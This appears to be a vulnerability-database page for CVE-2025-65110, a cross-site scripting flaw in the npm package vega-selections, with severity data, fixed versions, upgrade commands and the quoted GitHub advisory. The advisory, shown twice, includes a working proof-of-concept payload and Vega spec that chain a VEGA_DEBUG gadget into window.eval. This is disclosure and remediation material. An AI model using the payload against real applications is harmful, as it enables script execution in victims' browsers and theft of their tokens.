Vulnerabilities in pkg:npm/vega-selections

PACKAGE
Advisory Identifier: GHSA-829q-m3qg-ph8r
Advisory Summary

CVE-2025-65110 is a HIGH (CVSS 8.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Vega selections libraries in the npm ecosystem. The issue involves vega xss via expression abusing vlselectiontuples function array map calls in environments with satisfactory function gadgets in the global scope. Remediation is available by upgrading affected packages to version 5.6.3, 6.1.2.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/vega-selections

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/vega-selections. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-829q-m3qg-ph8r CVE-2025-65110 HIGH Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope
GHSA-mp7w-mhcv-673j CVE-2025-25304 MODERATE Vega allows Cross-site Scripting via the vlSelectionTuples function

CVE-2025-65110 at a Glance

CVE Identifier CVE-2025-65110
GHSA Identifier GHSA-829q-m3qg-ph8r
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Vega selections
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-65110

To remediate this vulnerability, upgrade all affected Vega selections dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vega-selections fixed: 5.6.3
npm install vega-selections@5.6.3
vega-selections fixed: 6.1.2
npm install vega-selections@6.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vega-selections

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-65110, inspect your project dependencies using npm:

npm ls vega-selections

Analyze the terminal output to locate any version of Vega selections in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.6.3), your application is affected.

Note: The npm ls vega-selections command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Vega selections, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Impact Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. 1. Use `vega` in an application that attaches both `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window`, or has any other satisfactory function gadgets in the global scope 2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code) ## Patches - With Vega v6, use `vega-selections@6.1.2` (requires ESM) - With Vega v5, use `vega-selections@5.6.3` (No ESM needed) ## Workarounds - Do not attach `vega` or `vega.View` instances to global variables or the window as the editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239) . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties. ### POC Summary Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a `map` value with a function copied from the window that results in calling `this.foo(this.bar)` can be passed to the vlSelectionTuples function, calling the copied `map` function, allowing DOM XSS to be achieved. In practice, an accessible gadget like this exists in the global VEGA_DEBUG code. ```js vlSelectionTuples({ map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName: event.view.console.log, _handlers:{ undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)' }, _handlerIndex: event.view.eval }) ``` ### POC Details ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 350, "height": 350, "autosize": "none", "description": "Toggle Button", "signals": [ { "name": "toggle", "value": true, "on": [ { "events": {"type": "click", "markname": "circle"}, "update": "toggle ? false : true" } ] }, { "name": "addFilter", "on": [ { "events": {"type": "mousemove", "source": "window"}, "update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})" } ] } ] } ``` This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following: ```js on(a, o) { const u = this.eventName(a) , d = this._handlers; if (this._handlerIndex(d[u], a, o) < 0) { .... } .... } ``` 1. Set `u` to the result of calling `this.eventName` with undefined - For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined 4. Sets `d` to `this._handlers` - For our object, we have this defined to be used later 5. Calls `this._handlerIndex` with the result of `u` indexed into the `d` object as the first argument, and undefined as the second two. - For our object, `_handlerIndex` is set to window.eval, and when indexing undefined into the `_handlers`, a string to be evald containing the XSS payload is returned. This results in XSS by using a globally scoped gadget to get full blown eval. ### PoC Link Navigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfEoAGEkOJ8hAABIihRBZyUHDONgmJotSgSKTBMmYAByZzgpOqmApVJpUAkYiClACfikrJgUpl+GADChcDWNHEcAUqAA5PE4M5MPi2K5aOJggBqYIAA2CAA0USjghJgqRnGZk1HIwyWRyuby6Uy2QyAEoogCSAHktQBKb2TW32-1ll0AD31H0NlOplCq8XG1YOx2OQA), move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved. For a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfDpVJpOGcbBMTRalFZziccEwACUPo4Zc4pNKlXAVag9nA1ejUAByKrxA16gKhGhQw3xTWYfFsVy0cTBADUwQABsEABoolHBCTBUjOMwB91uhksjlc3l0plshnylEASQA8gA5ACUpstdBo8QscFJ1UwFKFscjnJ5fNIFEoiqhms1lBFYrFPylATYlzVncumqLHxLlOp4wzB2OxyAA) ### Future investigation In cases where `VEGA_DEBUG` is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to `eval`, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. `$.globalEval`). As of this writing, no such globally scoped universal gadgets have been found. ### Recommended Fix In the `selectionTuples` [implementation](https://github.com/vega/vega/blob/21677ce895460ca56b7173d64f1883f29cf4bcc4/packages/vega-selections/src/selectionTuples.js#L12) that backs the vulnerable function call, the code should be changed to check `Array.isArray(array)` before calling a potentially dangerous user provided `.map` on the `array` argument. ### Impact This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

CVE-2025-65110 Affected Vega selections Versions

2 component(s)
Fixed Versions:
5.6.36.1.2
Product / Package Ecosystem Affected Versions Fixed Version
vega-selections
npm
< 5.6.3
5.6.3
vega-selections
npm
≥ 6.0.0
< 6.1.2
6.1.2

References

Frequently Asked Questions

What is CVE-2025-65110?
CVE-2025-65110 is a security vulnerability in Vega selections involving Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Vega selections versions are affected?
Affected versions include releases prior to 5.6.3, 6.1.2 across affected packages: vega-selections.
What version fixes CVE-2025-65110?
Upgrading to 5.6.3, 6.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vega-selections affected?
Yes, vega-selections is affected in releases prior to 5.6.3, 6.1.2. Upgrade your dependency to 5.6.3, 6.1.2 or later.
What is the CVSS score of CVE-2025-65110?
CVE-2025-65110 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2025-65110?
CVE-2025-65110 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2025-65110?
Run the dependency tree command: 'npm ls vega-selections'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-829q-m3qg-ph8r",
  "modified" : "2026-01-06T15:51:50Z",
  "published" : "2026-01-05T22:56:59Z",
  "aliases" : [ "CVE-2025-65110" ],
  "summary" : "Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope",
  "details" : "## Impact\n\nApplications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if \"safe mode\" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. \n\n1. Use `vega` in an application that attaches both `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window`, or has any other satisfactory function gadgets in the global scope\n2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code)\n\n## Patches\n\n- With Vega v6, use `vega-selections@6.1.2` (requires ESM)\n- With Vega v5, use `vega-selections@5.6.3`  (No ESM needed)\n\n## Workarounds\n\n- Do not attach `vega` or `vega.View` instances to global variables or the window as the editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239) . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.\n\n### POC Summary\n\nVega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a `map` value with a function copied from the window that results in calling `this.foo(this.bar)` can be passed to the vlSelectionTuples function, calling the copied `map` function, allowing DOM XSS to be achieved. \n\nIn practice, an accessible gadget like this exists in the global VEGA_DEBUG code. \n\n```js\nvlSelectionTuples({\n    map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,\n    eventName: event.view.console.log,\n    _handlers:{\n        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'\n    },\n    _handlerIndex: event.view.eval\n})\n```\n\n### POC Details\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"width\": 350,\n  \"height\": 350,\n  \"autosize\": \"none\",\n  \"description\": \"Toggle Button\",\n  \"signals\": [\n    {\n      \"name\": \"toggle\",\n      \"value\": true,\n      \"on\": [\n        {\n          \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n          \"update\": \"toggle ? false : true\"\n        }\n      ]\n    },\n    {\n      \"name\": \"addFilter\",\n      \"on\": [\n        {\n          \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n          \"update\": \"vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nThis payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples  function. The map function has been set to a \"gadget function\" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:\n\n```js\n   on(a, o) {\n        const u = this.eventName(a)\n          , d = this._handlers;\n        if (this._handlerIndex(d[u], a, o) < 0) {\n        ....\n        }\n        ....\n   }\n```\n\n1. Set `u` to the result of calling `this.eventName` with undefined \n    - For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined\n4. Sets `d` to `this._handlers`\n    - For our object, we have this defined to be used later\n5. Calls `this._handlerIndex` with the result of `u` indexed into the `d` object as the first argument, and undefined as the second two.\n    - For our object, `_handlerIndex` is set to window.eval, and when indexing undefined into the `_handlers`, a string to be evald containing the XSS payload is returned.\n    \nThis results in XSS by using a globally scoped gadget to get full blown eval. \n\n\n### PoC Link\n\nNavigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfEoAGEkOJ8hAABIihRBZyUHDONgmJotSgSKTBMmYAByZzgpOqmApVJpUAkYiClACfikrJgUpl+GADChcDWNHEcAUqAA5PE4M5MPi2K5aOJggBqYIAA2CAA0USjghJgqRnGZk1HIwyWRyuby6Uy2QyAEoogCSAHktQBKb2TW32-1ll0AD31H0NlOplCq8XG1YOx2OQA), move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.\n\nFor a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfDpVJpOGcbBMTRalFZziccEwACUPo4Zc4pNKlXAVag9nA1ejUAByKrxA16gKhGhQw3xTWYfFsVy0cTBADUwQABsEABoolHBCTBUjOMwB91uhksjlc3l0plshnylEASQA8gA5ACUpstdBo8QscFJ1UwFKFscjnJ5fNIFEoiqhms1lBFYrFPylATYlzVncumqLHxLlOp4wzB2OxyAA)\n\n### Future investigation\n\nIn cases where `VEGA_DEBUG` is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to `eval`, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. `$.globalEval`). As of this writing, no such globally scoped universal gadgets have been found. \n\n### Recommended Fix\nIn the `selectionTuples` [implementation](https://github.com/vega/vega/blob/21677ce895460ca56b7173d64f1883f29cf4bcc4/packages/vega-selections/src/selectionTuples.js#L12) that backs the vulnerable function call, the code should be changed to check `Array.isArray(array)` before calling a potentially dangerous user provided `.map` on the `array` argument.\n\n### Impact\n\nThis vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.  \n\nAn attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vega-selections"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.6.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vega-selections"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.1.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vega/vega/security/advisories/GHSA-829q-m3qg-ph8r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-65110"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vega/vega"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-05T22:56:59Z",
    "nvd_published_at" : "2026-01-05T22:15:51Z"
  }
}